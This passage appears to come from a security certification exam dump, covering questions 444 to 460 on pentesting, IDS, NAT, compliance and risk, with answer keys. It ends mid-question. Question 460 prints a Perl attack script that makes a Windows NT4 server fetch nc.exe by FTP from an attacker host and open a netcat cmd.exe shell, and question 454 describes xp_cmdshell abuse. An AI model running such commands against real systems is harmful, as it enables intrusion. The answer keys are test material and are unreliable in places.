Correct Answer: B

QUESTION 444

An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets?

A. The wireless card was not turned on.
B. The wrong network card drivers were in use by Wireshark.
C. On Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.
D. Certain operating systems and adapters do not collect the management or control packets.

Correct Answer: D

QUESTION 445

Which of the following techniques will identify if computer files have been changed?

A. Network sniffing
B. Permission sets
C. Integrity checking hashes
D. Firewall alerts

Correct Answer: C

QUESTION 446

Which of the following does proper basic configuration of snort as a network intrusion detection system require?

A. Limit the packets captured to the snort configuration file.
B. Capture every packet on the network segment.
C. Limit the packets captured to a single segment.
D. Limit the packets captured to the /var/log/snort directory.

Correct Answer: A

QUESTION 447

When analyzing the IDS logs, the system administrator notices connections from outside of the LAN have been sending packets where the Source IP address and Destination IP address are the same. There have been no alerts sent via email or logged in the IDS. Which type of an alert is this?

A. False positive
B. False negative
C. True positive
D. True negative

Correct Answer: B

QUESTION 448
Which of the following descriptions is true about a static NAT?

A. A static NAT uses a many-to-many mapping.
B. A static NAT uses a one-to-many mapping.
C. A static NAT uses a many-to-one mapping.
D. A static NAT uses a one-to-one mapping.

Correct Answer: D

QUESTION 449
Which United States legislation mandates that the Chief Executive Officer (CEO) and the Chief Financial Officer (CFO) must sign statements verifying the completeness and accuracy of financial reports?

A. Sarbanes-Oxley Act (SOX)
B. Gramm-Leach-Bliley Act (GLBA)
C. Fair and Accurate Credit Transactions Act (FACTA)
D. Federal Information Security Management Act (FISMA)

Correct Answer: A

QUESTION 450
Which of the following is a component of a risk assessment?

A. Physical security
B. Administrative safeguards
C. DMZ
D. Logical interface

Correct Answer: B

QUESTION 451
What information should an IT system analysis provide to the risk assessor?

A. Management buy-in
B. Threat statement
C. Security architecture
D. Impact analysis

Correct Answer: C

QUESTION 452
Which security strategy requires using several, varying methods to protect IT systems against attacks?

A. Defense in depth
B. Three-way handshake
C. Covert channels
D. Exponential backoff algorithm

Correct Answer: A

QUESTION 453
An IT security engineer notices that the company's web server is currently being hacked. What should the engineer do next?

A. Unplug the network connection on the company's web server.
B. Determine the origin of the attack and launch a counterattack.
C. Record as much information as possible from the attack.
D. Perform a system restart on the company's web server.

Correct Answer: C

QUESTION 454
During a penetration test, a tester finds a target that is running MS SQL 2000 with default credentials. The tester assumes that the service is running with Local System account. How can this weakness be exploited to access the system?

A. Using the Metasploit psexec module setting the SA / Admin credential.

B. Invoking the stored procedure xp_shell to spawn a Windows command shell.
C. Invoking the stored procedure cmd_shell to spawn a Windows command shell.
D. Invoking the stored procedure xp_cmdshell to spawn a Windows command shell.

Correct Answer: D

QUESTION 455

Which of the following programming languages is most vulnerable to buffer overflow attacks?

A. Perl
B. C++
C. Python
D. Java

Correct Answer: B

QUESTION 456

Which property ensures that a hash function will not produce the same hashed value for two different messages?

A. Collision resistance
B. Bit length
C. Key strength
D. Entropy

Correct Answer: A

QUESTION 457

From the two screenshots below, which of the following is occurring?

A. 10.0.0.253 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
B. 10.0.0.253 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.
C. 10.0.0.2 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
D. 10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.

Correct Answer: A

QUESTION 458

Which of the following can the administrator do to verify that a tape backup can be recovered in its entirety?

A. Restore a random file.
B. Perform a full restore.
C. Read the first 512 bytes of the tape.
D. Read the last 512 bytes of the tape.

Correct Answer: B

QUESTION 459

An NMAP scan of a server shows port 69 is open. What risk could this pose?

A. Unauthenticated access
B. Weak SSL version
C. Cleartext login
D. Web portal data leak

Correct Answer: A

QUESTION 460

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:system("perl msadc.pl -h $host -C \"echo open $your >testfile\"");

```
system("perl msadc.pl -h $host -C \"echo open $your >sasfile\"");
system("perl msadc.pl -h $host -C \"echo $user>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo $pass>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo bin>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo get
hacked.html>>sasfile\  ..
system("perl msadc.pl -h $host -C \"echo quit>>sasfile\"");
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\"");
$o=<STDIN>; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");
```

Which exploit is indicated by this script?